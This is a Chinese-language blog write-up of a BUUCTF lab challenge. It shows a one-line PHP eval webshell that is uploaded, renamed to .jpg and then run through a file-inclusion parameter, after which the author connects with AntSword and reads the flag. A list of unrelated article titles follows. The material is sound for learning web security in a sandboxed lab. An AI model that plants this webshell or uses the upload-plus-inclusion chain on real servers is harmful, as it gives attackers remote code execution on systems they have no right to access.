当前位置: 首页 > news >正文

【CTF Web】BUUCTF BUU UPLOAD COURSE 1 Writeup(文件上传+PHP+文件包含漏洞)

BUU UPLOAD COURSE 1

1
上课用~

点击启动靶机。


解法

疑似存在文件包含漏洞。

http://15a5666e-1796-4f76-b892-0b69cf97df8e.node5.buuoj.cn:81/index.php?file=upload.php

查看网页源代码。判断是后端检查。

<!DOCTYPE html>
<html lang="zh-cn">
<head><meta charset="UTF-8"><title>上传文件</title>
</head>
<body>
<div style="text-align: center"><h>文件会被上传到 ./uploads</h><form action="index.php?file=upload.php" method="post" enctype="multipart/form-data"><input type="file" name="upload_file"/><input type="submit" value="上传"/></form>
</div>
</body>
</html>

上传一句话木马。

<?php @eval($_POST['a']); ?>

文件后缀会被重命名,后缀变为 .jpg。

用蚁剑连接:

http://15a5666e-1796-4f76-b892-0b69cf97df8e.node5.buuoj.cn:81/index.php?file=uploads/66374dbc5c2dc.jpg

连接成功。

在根目录找到 flag。

Flag

flag{6e79908c-7d5e-4ce4-95ca-4ca1b5602f71}

声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 泛微E10产品二开
  • OrionX GPU算力池助力AI OCR场景应用
  • 鹏哥C语言36-37---循环/分支语句练习(折半查找算法)
  • CleanClip for Mac 剪切板 粘贴工具 历史记录 安装(保姆级教程,新手小白轻松上手)
  • (SERIES12)DM性能优化
  • Redis如何实现分布式锁
  • Kali Linux 2024.3 发布,包含新黑客工具
  • 挑战力扣高难度算法、数据库题
  • 基于Arduino Uno开发板实现PWM呼吸灯的设计方案
  • C语言-结构体-详解
  • 【数据结构与算法 | 灵神题单 | 自顶向下DFS篇】力扣1022,623
  • windows11+ubuntu20.04.6双系统安装
  • 数据结构-2.顺序表
  • Delta Function的简单介绍
  • 关于less的基本使用
  • php的引用
  • iOS筛选菜单、分段选择器、导航栏、悬浮窗、转场动画、启动视频等源码
  • Java IO学习笔记一
  • java中具有继承关系的类及其对象初始化顺序
  • JS创建对象模式及其对象原型链探究(一):Object模式
  • PAT A1092
  • React-生命周期杂记
  • Spring框架之我见(三)——IOC、AOP
  • TiDB 源码阅读系列文章(十)Chunk 和执行框架简介
  • vue-router 实现分析
  • 高度不固定时垂直居中
  • 基于遗传算法的优化问题求解
  • 快速构建spring-cloud+sleuth+rabbit+ zipkin+es+kibana+grafana日志跟踪平台
  • 每个JavaScript开发人员应阅读的书【1】 - JavaScript: The Good Parts
  • 实现菜单下拉伸展折叠效果demo
  • 算法---两个栈实现一个队列
  • 微服务核心架构梳理
  • 阿里云服务器如何修改远程端口?
  • ​香农与信息论三大定律
  • #include<初见C语言之指针(5)>
  • #QT 笔记一
  • #每日一题合集#牛客JZ23-JZ33
  • (k8s)Kubernetes本地存储接入
  • (Matlab)使用竞争神经网络实现数据聚类
  • (zt)基于Facebook和Flash平台的应用架构解析
  • (ZT)一个美国文科博士的YardLife
  • (待修改)PyG安装步骤
  • (二开)Flink 修改源码拓展 SQL 语法
  • (附源码)springboot优课在线教学系统 毕业设计 081251
  • (七)glDrawArry绘制
  • (三十)Flask之wtforms库【剖析源码上篇】
  • (原创)boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • (转)为C# Windows服务添加安装程序
  • (总结)Linux下的暴力密码在线破解工具Hydra详解
  • .NetCore项目nginx发布
  • ??如何把JavaScript脚本中的参数传到java代码段中
  • @Async注解的坑,小心
  • [ 转载 ] SharePoint 资料
  • [1127]图形打印 sdutOJ
  • [2018][note]用于超快偏振开关和动态光束分裂的all-optical有源THz超表——